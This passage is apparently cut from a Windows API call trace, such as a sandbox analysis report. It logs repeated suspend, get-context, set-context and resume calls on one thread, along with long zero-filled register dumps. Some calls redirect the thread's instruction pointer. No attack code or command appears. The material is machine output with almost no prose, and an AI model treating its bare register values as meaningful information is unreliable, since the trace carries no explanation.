[45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.406] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.406] ResumeThread (hThread=0x100) returned 0x1 [0124.406] CloseHandle (hObject=0x100) returned 1 [0124.406] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.513] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.632] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0124.632] SuspendThread (hThread=0x100) returned 0x0 [0124.632] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc48, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fcee006, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.633] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc40, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.633] ResumeThread (hThread=0x100) returned 0x1 [0124.633] CloseHandle (hObject=0x100) returned 1 [0124.634] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.742] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0124.962] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0124.962] SuspendThread (hThread=0x100) returned 0x0 [0124.962] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cca0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd130e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0124.984] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019cc98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, 